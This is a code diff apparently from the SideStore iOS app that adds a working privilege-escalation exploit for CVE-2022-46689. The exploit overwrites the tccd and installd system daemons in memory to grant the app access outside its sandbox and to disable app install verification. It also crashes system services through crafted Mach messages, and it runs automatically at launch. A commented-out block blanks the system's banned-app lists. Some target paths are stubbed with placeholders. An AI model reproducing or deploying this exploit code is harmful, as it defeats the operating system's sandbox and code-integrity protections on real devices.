let title = error.userInfo[NSLocalizedFailureErrorKey] as? String ?? NSLocalizedString("Unable to Launch SideStore", comment: "")
let alertController = UIAlertController(title: title, message: error.localizedDescription, preferredStyle: .alert)
alertController.addAction(UIAlertAction(title: NSLocalizedString("Retry", comment: ""), style: .default, handler: { (action) in
let errorDescription: String
if #available(iOS 14.5, *) {
let errorMessages = [error.debugDescription] + error.underlyingErrors.map { ($0 as NSError).debugDescription }
errorDescription = errorMessages.joined(separator: "\n\n")
} else {
errorDescription = error.debugDescription
}
let alertController = UIAlertController(title: title, message: errorDescription, preferredStyle: .alert)
alertController.addAction(UIAlertAction(title: NSLocalizedString("Retry", comment: ""), style: .default, handler: { _ in
self.handleLaunchConditions()
}))
self.present(alertController, animated: true, completion: nil)
}
}
override func finishLaunching()
{
override func finishLaunching() {
super.finishLaunching()
guard !self.didFinishLaunching else { return }
AppManager.shared.update()
AppManager.shared.updatePatronsIfNeeded()
AppManager.shared.updatePatronsIfNeeded()
PatreonAPI.shared.refreshPatreonAccount()
// Add view controller as child (rather than presenting modally)
@@ -195,6 +212,37 @@ extension LaunchViewController
self.destinationViewController.view.alpha = 1.0
}
if UserDefaults.standard.enableCowExploit, UserDefaults.standard.isCowExploitSupported {
if let previous_exploit_time = UserDefaults.standard.object(forKey: "cowExploitRanBootTime") {
let last_rantime = previous_exploit_time as! Date
if last_rantime == bootTime() {
return print("exploit has ran this boot - \(last_rantime)")
}
}
self.runExploit()
}
self.didFinishLaunching = true
}
func runExploit() {
if UserDefaults.standard.enableCowExploit && UserDefaults.standard.isCowExploitSupported {
patch3AppLimit { result in
switch result {
case .success:
UserDefaults.standard.set(bootTime(), forKey: "cowExploitRanBootTime")
print("patched sucessfully")
case .failure(let err):
switch err {
case .NoFDA(let msg):
self.displayError("Failed to get full disk access: \(msg)")
return
case .FailedPatchd:
self.displayError("Failed to install patchd.")
return
}
}
}
}
}
}

View File

@@ -0,0 +1,123 @@
import Foundation
let blankplist = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdC8+CjwvcGxpc3Q+Cg=="
enum PatchError: Error {
case NoFDA(msg: String)
case FailedPatchd
}
enum PatchResult {
case success, failure(PatchError)
}
func patch3AppLimit(completion: @escaping (PatchResult) -> ()) {
grant_fda { error in
if let error = error {
completion(.failure(PatchError.NoFDA(msg: "Failed to get full disk access: \(error)")))
}
// DispatchQueue.global(qos: .userInitiated).async {
print("This is run on a background queue")
if !installdaemon_patch() {
completion(.failure(PatchError.FailedPatchd))
}
// }
completion(.success)
}
}
func bootTime() -> Date? {
var tv = timeval()
var tvSize = MemoryLayout<timeval>.size
let err = sysctlbyname("kern.boottime", &tv, &tvSize, nil, 0)
guard err == 0, tvSize == MemoryLayout<timeval>.size else {
return nil
}
return Date(timeIntervalSince1970: Double(tv.tv_sec) + Double(tv.tv_usec) / 1_000_000.0)
}
enum WhitelistPatchResult {
case success, failure
}
//
// func patchWhiteList() {
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedUpps.plist", replacementData: try! Data(base64Encoded: blankplist)!)
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedCdHashes.plist", replacementData: try! Data(base64Encoded: blankplist)!)
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/Rejections.plist", replacementData: try! Data(base64Encoded: blankplist)!)
// }
//
// func overwriteFileData(originPath: String, replacementData: Data) -> Bool {
// #if false
// let documentDirectory = FileManager.default.urls(
// for: .documentDirectory,
// in: .userDomainMask
// )[0].path
//
// let pathToRealTarget = originPath
// let originPath = documentDirectory + originPath
// let origData = try! Data(contentsOf: URL(fileURLWithPath: pathToRealTarget))
// try! origData.write(to: URL(fileURLWithPath: originPath))
// #endif
//
// // open and map original font
// let fd = open(originPath, O_RDONLY | O_CLOEXEC)
// if fd == -1 {
// print("Could not open target file")
// return false
// }
// defer { close(fd) }
// // check size of font
// let originalFileSize = lseek(fd, 0, SEEK_END)
// guard originalFileSize >= replacementData.count else {
// print("Original file: \(originalFileSize)")
// print("Replacement file: \(replacementData.count)")
// print("File too big!")
// return false
// }
// lseek(fd, 0, SEEK_SET)
//
// // Map the font we want to overwrite so we can mlock it
// let fileMap = mmap(nil, replacementData.count, PROT_READ, MAP_SHARED, fd, 0)
// if fileMap == MAP_FAILED {
// print("Failed to map")
// return false
// }
// // mlock so the file gets cached in memory
// guard mlock(fileMap, replacementData.count) == 0 else {
// print("Failed to mlock")
// return true
// }
//
// // for every 16k chunk, rewrite
// print(Date())
// for chunkOff in stride(from: 0, to: replacementData.count, by: 0x4000) {
// print(String(format: "%lx", chunkOff))
// let dataChunk = replacementData[chunkOff..<min(replacementData.count, chunkOff + 0x4000)]
// var overwroteOne = false
// for _ in 0..<2 {
// let overwriteSucceeded = dataChunk.withUnsafeBytes { dataChunkBytes in
// unalign_csr(
// fd, Int64(chunkOff), dataChunkBytes.baseAddress, dataChunkBytes.count
// )
// }
// if overwriteSucceeded {
// overwroteOne = true
// print("Successfully overwrote!")
// break
// }
// print("try again?!")
// }
// guard overwroteOne else {
// print("Failed to overwrite")
// return false
// }
// }
// print(Date())
// print("Successfully overwrote!")
// return true
// }
//
// func readFile(path: String) -> String? {
// return (try? String?(String(contentsOfFile: path)) ?? "ERROR: Could not read from file! Are you running in the simulator or not unsandboxed?")
// }

View File

@@ -0,0 +1,6 @@
#pragma once
@import Foundation;
/// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox.
void grant_fda(void (^_Nonnull completion)(NSError* _Nullable));
bool installdaemon_patch(void);

View File

@@ -0,0 +1,617 @@
@import Darwin;
@import Foundation;
@import MachO;
#import <mach-o/fixup-chains.h>
// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from
// WDBFontOverwrite
// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
// Please don't call this code on iOS 14 or below
// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)
#import "grant_fda.h"
#import "helping_tools.h"
#import "vm_unalign_csr.h"
typedef NSObject* xpc_object_t;
typedef xpc_object_t xpc_connection_t;
typedef void (^xpc_handler_t)(xpc_object_t object);
xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys,
xpc_object_t _Nullable const* values, size_t count);
xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq,
uint64_t flags);
void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);
void xpc_connection_resume(xpc_connection_t connection);
void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message,
dispatch_queue_t replyq, xpc_handler_t handler);
xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection,
xpc_object_t message);
xpc_object_t xpc_bool_create(bool value);
xpc_object_t xpc_string_create(const char* string);
xpc_object_t xpc_null_create(void);
const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key);
int64_t sandbox_extension_consume(const char* token);
// MARK: - patchfind
struct fda_offsets {
uint64_t of_addr_com_apple_tcc_;
uint64_t offset_pad_space_for_rw_string;
uint64_t of_addr_s_kTCCSML;
uint64_t of_auth_got_sb_init;
uint64_t of_return_0;
bool is_arm64e;
};
static bool pchfind_sections(void* execmap,
struct segment_command_64** data_seg,
struct symtab_command** stabout,
struct dysymtab_command** dystabout) {
struct mach_header_64* executable_header = execmap;
struct load_command* load_command = execmap + sizeof(struct mach_header_64);
for (int load_command_index = 0; load_command_index < executable_header->ncmds;
load_command_index++) {
switch (load_command->cmd) {
case LC_SEGMENT_64: {
struct segment_command_64* segment = (struct segment_command_64*)load_command;
if (strcmp(segment->segname, "__DATA_CONST") == 0) {
*data_seg = segment;
}
break;
}
case LC_SYMTAB: {
*stabout = (struct symtab_command*)load_command;
break;
}
case LC_DYSYMTAB: {
*dystabout = (struct dysymtab_command*)load_command;
break;
}
}
load_command = ((void*)load_command) + load_command->cmdsize;
}
return true;
}
static uint64_t pchfind_get_padding(struct segment_command_64* segment) {
struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);
struct section_64* last_section = &section_array[segment->nsects - 1];
return last_section->offset + last_section->size;
}
static uint64_t pchfind_pointer_to_string(void* em, size_t el, const char* n) {
void* str_offset = memmem(em, el, n, strlen(n) + 1);
if (!str_offset) {
return 0;
}
uint64_t str_file_offset = str_offset - em;
for (int i = 0; i < el; i += 8) {
uint64_t val = *(uint64_t*)(em + i);
if ((val & 0xfffffffful) == str_file_offset) {
return i;
}
}
return 0;
}
static uint64_t pchfind_return_0(void* exmp, size_t el) {
// TCCDSyncAccessAction::sequencer
// mov x0, #0
// ret
static const char ndle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
void* offset = memmem(exmp, el, ndle, sizeof(ndle));
if (!offset) {
return 0;
}
return offset - exmp;
}
static uint64_t pchfind_got(void* ecm, size_t executable_length,
struct segment_command_64* data_const_segment,
struct symtab_command* symtab_command,
struct dysymtab_command* dysymtab_command,
const char* target_symbol_name) {
uint64_t target_symbol_index = 0;
for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {
struct nlist_64* sym =
((struct nlist_64*)(ecm + symtab_command->symoff)) + sym_index;
const char* sym_name = ecm + symtab_command->stroff + sym->n_un.n_strx;
if (strcmp(sym_name, target_symbol_name)) {
continue;
}
// printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - execmap));
target_symbol_index = sym_index;
break;
}
struct section_64* section_array =
((void*)data_const_segment) + sizeof(struct segment_command_64);
struct section_64* first_section = &section_array[0];
if (!(strcmp(first_section->sectname, "__auth_got") == 0 ||
strcmp(first_section->sectname, "__got") == 0)) {
return 0;
}
uint32_t* indirect_table = ecm + dysymtab_command->indirectsymoff;
for (int i = 0; i < first_section->size; i += 8) {
uint64_t val = *(uint64_t*)(ecm + first_section->offset + i);
uint64_t indirect_table_entry = (val & 0xfffful);
if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {
return first_section->offset + i;
}
}
return 0;
}
static bool pchfind(void* execmap, size_t executable_length,
struct fda_offsets* offsets) {
struct segment_command_64* data_const_segment = nil;
struct symtab_command* symtab_command = nil;
struct dysymtab_command* dysymtab_command = nil;
if (!pchfind_sections(execmap, &data_const_segment, &symtab_command,
&dysymtab_command)) {
// printf("no sections\n");
return false;
}
if ((offsets->of_addr_com_apple_tcc_ =
pchfind_pointer_to_string(execmap, executable_length, "com.apple.tcc.")) == 0) {
// printf("no com.apple.tcc. string\n");
return false;
}
if ((offsets->offset_pad_space_for_rw_string =
pchfind_get_padding(data_const_segment)) == 0) {
// printf("no padding\n");
return false;
}
if ((offsets->of_addr_s_kTCCSML = pchfind_pointer_to_string(
execmap, executable_length, "kTCCServiceMediaLibrary")) == 0) {
// printf("no kTCCServiceMediaLibrary string\n");
return false;
}
if ((offsets->of_auth_got_sb_init =
pchfind_got(execmap, executable_length, data_const_segment, symtab_command,
dysymtab_command, "_sandbox_init")) == 0) {
// printf("no sandbox_init\n");
return false;
}
if ((offsets->of_return_0 = pchfind_return_0(execmap, executable_length)) ==
0) {
// printf("no just return 0\n");
return false;
}
struct mach_header_64* executable_header = execmap;
offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;
return true;
}
// MARK: - tccd patching
static void call_tcc_daemon(void (^completion)(NSString* _Nullable extension_token)) {
// reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
// re-use it until next reboot.
// Returns the sandbox token if there is one, or nil if there isn't one.
//TODO WARNING REPLACE com.apple.tccd
xpc_connection_t connection = xpc_connection_create_mach_service(
"TXUWU", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
// NSLog(@"event handler (xpc): %@", object);
});
xpc_connection_resume(connection);
const char* keys[] = {
// "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight",
// "target_token", "background_session",
};
xpc_object_t values[] = {
xpc_string_create("17087.1"),
xpc_string_create("TCCAccessRequest"),
xpc_string_create("com.apple.app-sandbox.read-write"),
xpc_null_create(),
xpc_bool_create(false),
xpc_null_create(),
xpc_bool_create(false),
};
xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));
#if 0
xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);
// NSLog(@"%@", response_message);
#endif
xpc_connection_send_message_with_reply(
connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),
^(xpc_object_t object) {
if (!object) {
//object is nil???
// NSLog(@"wqfewfw9");
completion(nil);
return;
}
//response:
// NSLog(@"qwdqwd%@", object);
if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) {
// NSLog(@"xpc error?");
completion(nil);
return;
}
//debug description:
// NSLog(@"wqdwqu %@", [object debugDescription]);
const char* extension_string = xpc_dictionary_get_string(object, "extension");
NSString* extension_nsstring =
extension_string ? [NSString stringWithUTF8String:extension_string] : nil;
completion(extension_nsstring);
});
}
static NSData* patch_tcc_daemon(void* executableMap, size_t executableLength) {
struct fda_offsets offsets = {};
if (!pchfind(executableMap, executableLength, &offsets)) {
return nil;
}
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
// strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr);
char* mutableBytes = data.mutableBytes;
{
// rewrite com.apple.tcc. into blank string
*(uint64_t*)(mutableBytes + offsets.of_addr_com_apple_tcc_ + 8) = 0;
}
{
// make of_addr_s_kTCCSML point to "com.apple.app-sandbox.read-write"
// we need to stick this somewhere; just put it in the padding between
// the end of __objc_arrayobj and the end of __DATA_CONST
strcpy((char*)(data.mutableBytes + offsets.offset_pad_space_for_rw_string),
"com.apple.app-sandbox.read-write");
struct dyld_chained_ptr_arm64e_rebase tRBase =
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
offsets.of_addr_s_kTCCSML);
tRBase.target = offsets.offset_pad_space_for_rw_string;
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
offsets.of_addr_s_kTCCSML) =
tRBase;
*(uint64_t*)(mutableBytes + offsets.of_addr_s_kTCCSML + 8) =
strlen("com.apple.app-sandbox.read-write");
}
if (offsets.is_arm64e) {
// make sandbox_init call return 0;
struct dyld_chained_ptr_arm64e_auth_rebase tRBase = {
.auth = 1,
.bind = 0,
.next = 1,
.key = 0, // IA
.addrDiv = 1,
.diversity = 0,
.target = offsets.of_return_0,
};
*(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
offsets.of_auth_got_sb_init) =
tRBase;
} else {
// make sandbox_init call return 0;
struct dyld_chained_ptr_64_rebase tRBase = {
.bind = 0,
.next = 2,
.target = offsets.of_return_0,
};
*(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.of_auth_got_sb_init) =
tRBase;
}
return data;
}
static bool over_write_file(int fd, NSData* sourceData) {
for (int off = 0; off < sourceData.length; off += 0x4000) {
bool success = false;
for (int i = 0; i < 2; i++) {
if (unalign_csr(
fd, off, sourceData.bytes + off,
off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {
success = true;
break;
}
}
if (!success) {
return false;
}
}
return true;
}
static void grant_fda_impl(void (^completion)(NSString* extension_token,
NSError* _Nullable error)) {
// char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
char* targetPath = "/Nope";
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
if (fd == -1) {
// iOS 15.3 and below
// targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
targetPath = "/Nope";
fd = open(targetPath, O_RDONLY | O_CLOEXEC);
}
off_t targetLength = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
NSData* sourceData = patch_tcc_daemon(targetMap, targetLength);
if (!sourceData) {
completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:5
userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]);
return;
}
if (!over_write_file(fd, sourceData)) {
over_write_file(fd, originalData);
munmap(targetMap, targetLength);
completion(
nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:1
userInfo:@{
NSLocalizedDescriptionKey : @"Can't overwrite file: your device may "
@"not be vulnerable to CVE-2022-46689."
}]);
return;
}
munmap(targetMap, targetLength);
// crash_with_xpc_thingy("com.apple.tccd");
sleep(1);
call_tcc_daemon(^(NSString* _Nullable extension_token) {
over_write_file(fd, originalData);
// crash_with_xpc_thingy("com.apple.tccd");
NSError* returnError = nil;
if (extension_token == nil) {
returnError =
[NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:2
userInfo:@{
NSLocalizedDescriptionKey : @"no extension token returned."
}];
} else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) {
returnError = [NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:3
userInfo:@{
NSLocalizedDescriptionKey : @"failed: returned a media library token "
@"instead of an app sandbox token."
}];
extension_token = nil;
}
completion(extension_token, returnError);
});
}
void grant_fda(void (^completion)(NSError* _Nullable)) {
if (!NSClassFromString(@"NSPresentationIntent")) {
// class introduced in iOS 15.0.
// TODO(zhuowei): maybe check the actual OS version instead?
completion([NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:6
userInfo:@{
NSLocalizedDescriptionKey :
@"Not supported on iOS 14 and below."
}]);
return;
}
NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
inDomains:NSUserDomainMask][0];
NSURL* sourceURL =
[documentDirectory URLByAppendingPathComponent:@"fda_token.txt"];
NSError* error = nil;
NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL
encoding:NSUTF8StringEncoding
error:&error];
if (cachedToken) {
int64_t handle = sandbox_extension_consume(cachedToken.UTF8String);
if (handle > 0) {
// cached version worked
completion(nil);
return;
}
}
grant_fda_impl(^(NSString* extension_token, NSError* _Nullable error) {
if (error) {
completion(error);
return;
}
int64_t handle = sandbox_extension_consume(extension_token.UTF8String);
if (handle <= 0) {
completion([NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:4
userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]);
return;
}
[extension_token writeToURL:sourceURL
atomically:true
encoding:NSUTF8StringEncoding
error:&error];
completion(nil);
});
}
/// MARK - installd patch
struct daemon_remove_app_limit_offsets {
uint64_t offset_objc_method_list_t_MIInstallableBundle;
uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods;
uint64_t offset_data_const_end_padding;
// MIUninstallRecord::supportsSecureCoding
uint64_t offset_return_true;
};
struct daemon_remove_app_limit_offsets gAppLimitOffsets = {
.offset_objc_method_list_t_MIInstallableBundle = 0x519b0,
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8,
.offset_data_const_end_padding = 0x79c38,
.offset_return_true = 0x19860,
};
static uint64_t pchfind_find_rwt_base_methods(void* execmap,
size_t executable_length,
const char* needle) {
void* str_offset = memmem(execmap, executable_length, needle, strlen(needle) + 1);
if (!str_offset) {
return 0;
}
uint64_t str_file_offset = str_offset - execmap;
for (int i = 0; i < executable_length - 8; i += 8) {
uint64_t val = *(uint64_t*)(execmap + i);
if ((val & 0xfffffffful) != str_file_offset) {
continue;
}
// baseMethods
if (*(uint64_t*)(execmap + i + 8) != 0) {
return i + 8;
}
}
return 0;
}
static uint64_t pchfind_returns_true(void* execmap, size_t executable_length) {
// mov w0, #1
// ret
static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6};
void* offset = memmem(execmap, executable_length, needle, sizeof(needle));
if (!offset) {
return 0;
}
return offset - execmap;
}
static bool pchfind_deaaamon(void* execmap, size_t executable_length,
struct daemon_remove_app_limit_offsets* offsets) {
struct segment_command_64* data_const_segment = nil;
struct symtab_command* symtab_command = nil;
struct dysymtab_command* dysymtab_command = nil;
if (!pchfind_sections(execmap, &data_const_segment, &symtab_command,
&dysymtab_command)) {
// printf("no sections\n");
return false;
}
if ((offsets->offset_data_const_end_padding = pchfind_get_padding(data_const_segment)) == 0) {
// printf("no padding\n");
return false;
}
if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods =
pchfind_find_rwt_base_methods(execmap, executable_length,
"MIInstallableBundle")) == 0) {
// printf("no MIInstallableBundle class_rw_t\n");
return false;
}
offsets->offset_objc_method_list_t_MIInstallableBundle =
(*(uint64_t*)(execmap +
offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) &
0xffffffull;
if ((offsets->offset_return_true = pchfind_returns_true(execmap, executable_length)) ==
0) {
// printf("no return true\n");
return false;
}
return true;
}
struct objc_method {
int32_t name;
int32_t types;
int32_t imp;
};
struct objc_method_list {
uint32_t entsizeAndFlags;
uint32_t count;
struct objc_method methods[];
};
static void patch_cpy_methods(void* mutableBytes, uint64_t old_offset,
uint64_t new_offset, uint64_t* out_copied_length,
void (^callback)(const char* sel,
uint64_t* inout_function_pointer)) {
struct objc_method_list* original_list = mutableBytes + old_offset;
struct objc_method_list* new_list = mutableBytes + new_offset;
*out_copied_length =
sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method);
new_list->entsizeAndFlags = original_list->entsizeAndFlags;
new_list->count = original_list->count;
for (int method_index = 0; method_index < original_list->count; method_index++) {
struct objc_method* method = &original_list->methods[method_index];
// Relative pointers
uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name;
uint64_t types_file_offset =
((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types;
uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp;
const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull);
callback(sel, &imp_file_offset);
struct objc_method* new_method = &new_list->methods[method_index];
new_method->name = (int32_t)((int64_t)name_file_offset -
(int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes));
new_method->types = (int32_t)((int64_t)types_file_offset -
(int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes));
new_method->imp = (int32_t)((int64_t)imp_file_offset -
(int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes));
}
};
static NSData* make_installdaemon_patch(void* executableMap, size_t executableLength) {
struct daemon_remove_app_limit_offsets offsets = {};
if (!pchfind_deaaamon(executableMap, executableLength, &offsets)) {
return nil;
}
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
char* mutableBytes = data.mutableBytes;
uint64_t current_empty_space = offsets.offset_data_const_end_padding;
uint64_t copied_size = 0;
uint64_t new_method_list_offset = current_empty_space;
patch_cpy_methods(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle,
current_empty_space, &copied_size,
^(const char* sel, uint64_t* inout_address) {
if (strcmp(sel, "performVerificationWithError:") != 0) {
return;
}
*inout_address = offsets.offset_return_true;
});
current_empty_space += copied_size;
((struct
dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
offsets
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods))
->target = new_method_list_offset;
return data;
}
bool installdaemon_patch() {
const char* targetPath = "/usr/libexec/installd";
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
off_t targetLength = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
NSData* sourceData = make_installdaemon_patch(targetMap, targetLength);
if (!sourceData) {
//can't patchfind
// NSLog(@"wuiydqw98uuqwd");
return false;
}
if (!over_write_file(fd, sourceData)) {
over_write_file(fd, originalData);
munmap(targetMap, targetLength);
//can't overwrite
// NSLog(@"wfqiohuwdhuiqoji");
return false;
}
munmap(targetMap, targetLength);
crash_with_xpc_thingy("com.apple.mobile.installd");
sleep(1);
// TODO(zhuowei): for now we revert it once installd starts
// so the change will only last until when this installd exits
// over_write_file(fd, originalData);
return true;
}

View File

@@ -0,0 +1,12 @@
#ifndef helpers_h
#define helpers_h
char* get_temporary_file_location_paths(void);
void test_nsexpressions(void);
char* setup_temporary_file(void);
void crash_with_xpc_thingy(char* service_name);
#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL))
#endif /* helpers_h */

View File

@@ -0,0 +1,139 @@
#import <Foundation/Foundation.h>
#include <string.h>
#include <mach/mach.h>
#include <dirent.h>
char* get_temporary_file_location_paths(void) {
return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]);
}
// create a read-only test file we can target:
char* setup_temporary_file(void) {
char* path = get_temporary_file_location_paths();
// printf("path: %s\n", path);
FILE* f = fopen(path, "w");
if (!f) {
// printf("opening the tmp file failed...\n");
return NULL;
}
char* buf = malloc(PAGE_SIZE*10);
memset(buf, 'A', PAGE_SIZE*10);
fwrite(buf, PAGE_SIZE*10, 1, f);
//fclose(f);
return path;
}
kern_return_t
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
struct x_p_c_w_zerozero_t {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_port_descriptor_t client_port;
mach_msg_port_descriptor_t reply_port;
};
mach_port_t get_and_send_this_whatever_once_wow(mach_port_t recv) {
mach_port_t so = MACH_PORT_NULL;
mach_msg_type_name_t type = 0;
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
if (err != KERN_SUCCESS) {
//a=port right extraction failed: %s\n
// printf("PREFail: %s\n", mach_error_string(err));
return MACH_PORT_NULL;
}
//made so: 0x%x from recv: 0x%x\n
// printf("ms 0x%x fr: 0x%x\n", so, recv);
return so;
}
// copy-pasted from an exploit I wrote in 2019...
// still works...
// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html )
void crash_with_xpc_thingy(char* service_name) {
mach_port_t client_port = MACH_PORT_NULL;
mach_port_t reply_port = MACH_PORT_NULL;
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
if(err != KERN_SUCCESS){
//unable to look up
// printf("utluqwd %s\n", service_name);
return;
}
if (service_port == MACH_PORT_NULL) {
//bad service port
// printf("wih1221udq\n");
return;
}
// allocate the client and reply port:
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
if (err != KERN_SUCCESS) {
//port allocation failed:
// printf("padiuhewi %s\n", mach_error_string(err));
return;
}
mach_port_t so0 = get_and_send_this_whatever_once_wow(client_port);
mach_port_t so1 = get_and_send_this_whatever_once_wow(client_port);
// insert a send so we maintain the ability to send to this port
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
//port right insertion failed:
// printf("weediuwe %s\n", mach_error_string(err));
return;
}
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
if (err != KERN_SUCCESS) {
//port allocation failed:
// printf("wuiq21d %s\n", mach_error_string(err));
return;
}
struct x_p_c_w_zerozero_t msg;
memset(&msg.hdr, 0, sizeof(msg));
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
msg.hdr.msgh_size = sizeof(msg);
msg.hdr.msgh_remote_port = service_port;
msg.hdr.msgh_id = 'w00t';
msg.body.msgh_descriptor_count = 2;
msg.client_port.name = client_port;
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
msg.reply_port.name = reply_port;
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
err = mach_msg(&msg.hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
msg.hdr.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
//w00t message send failed:
// printf("ondwehu %s\n", mach_error_string(err));
return;
} else {
//sent xpc w00t message\n
// printf("wq98ywqe");
}
mach_port_deallocate(mach_task_self(), so0);
mach_port_deallocate(mach_task_self(), so1);
return;
}

View File

@@ -0,0 +1,370 @@
// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c
// modified to compile outside of XNU
#include <pthread.h>
#include <dispatch/dispatch.h>
#include <stdio.h>
#include <mach/mach_init.h>
#include <mach/mach_port.h>
#include <mach/vm_map.h>
#include <fcntl.h>
#include <sys/mman.h>
//vm_unaligned_copy_switch_race
#include "vm_unalign_csr.h"
#define T_QUIET
#define T_EXPECT_MACH_SUCCESS(a, b)
#define T_EXPECT_MACH_ERROR(a, b, c)
#define T_ASSERT_MACH_SUCCESS(a, b, ...)
#define T_ASSERT_MACH_ERROR(a, b, c)
